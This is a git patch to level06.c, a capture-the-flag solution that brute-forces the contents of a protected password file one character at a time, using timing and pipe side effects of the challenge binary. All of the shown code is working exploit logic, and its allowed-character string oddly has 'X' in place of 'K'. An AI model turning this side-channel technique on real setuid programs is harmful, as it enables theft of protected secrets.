From 771350c0b6e9921d32089a8c9f73930bb97a2834 Mon Sep 17 00:00:00 2001
From: "Jason A. Donenfeld" <Jason@zx2c4.com>
Date: Sun, 26 Feb 2012 19:20:28 +0100
Subject: Restrict alphabet set. Use better temp file. Rename functions.

---
 level06.c | 25 ++++++++++++++-----------
 1 file changed, 14 insertions(+), 11 deletions(-)

diff --git a/level06.c b/level06.c
index 65b9f62..4974981 100644
--- a/level06.c
+++ b/level06.c
@@ -7,7 +7,7 @@
 #include <sys/stat.h> 
 #include <sys/wait.h>
 
-int teststr(const char *str)
+int testfragment(const char *str)
 {
 	int out[2];
 	pipe2(out, O_NONBLOCK);
@@ -16,7 +16,6 @@ int teststr(const char *str)
 		int status;
 		close(out[1]);
 		wait(NULL);
-		unlink("./tmp");
 		while (getpgid(getpid() + 2) == getpid())
 			usleep(100);
                 status = read(out[0], NULL, 1);
@@ -25,13 +24,15 @@ int teststr(const char *str)
 
 	} else {
 		int file;
-		char buffer[1025];
 		struct rlimit limit;
+		char buffer[1025];
+		char filename[] = "/tmp/level06-XXXXXX";
 		
 		dup2(out[1], 1);
 		close(out[0]);
 		
-		file = creat("./tmp", S_IWUSR | S_IRUSR);
+		file = mkstemp(filename);
+		unlink(filename);
 		fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
 		dup2(file, 2);
 		
@@ -43,7 +44,8 @@ int teststr(const char *str)
 		execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
 	}
 }
-int checkfull(const char *str)
+
+int testfull(const char *str)
 {
 	int out[2];
 	pipe(out);
@@ -63,20 +65,21 @@ int checkfull(const char *str)
 	}	
 }
 
-
+char allowed_chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJXLMNOPQRSTUVWXYZ01234567890";
 int main(int argc, char *argv[])
 {
 	char buffer[1024];
-	int i;
+	int i, j, len;
 	char c;
 	memset(buffer, 0, 1024);
+	len = strlen(allowed_chars);
 	for (i = 0; i < 1024; ++i) {
-		for (c = 32; c < 126; ++c) {
-			buffer[i] = c;
+		for (j = 0; j < len; ++j) {
+			buffer[i] = allowed_chars[j];
 			printf("\r\033[2K%s", buffer);
 			fflush(stdout);
-			if (teststr(buffer)) {
-				if (checkfull(buffer)) {
+			if (testfragment(buffer)) {
+				if (testfull(buffer)) {
 					printf("\n");
 					return 0;
 				}
-- 
cgit v1.2.3-59-g8ed1b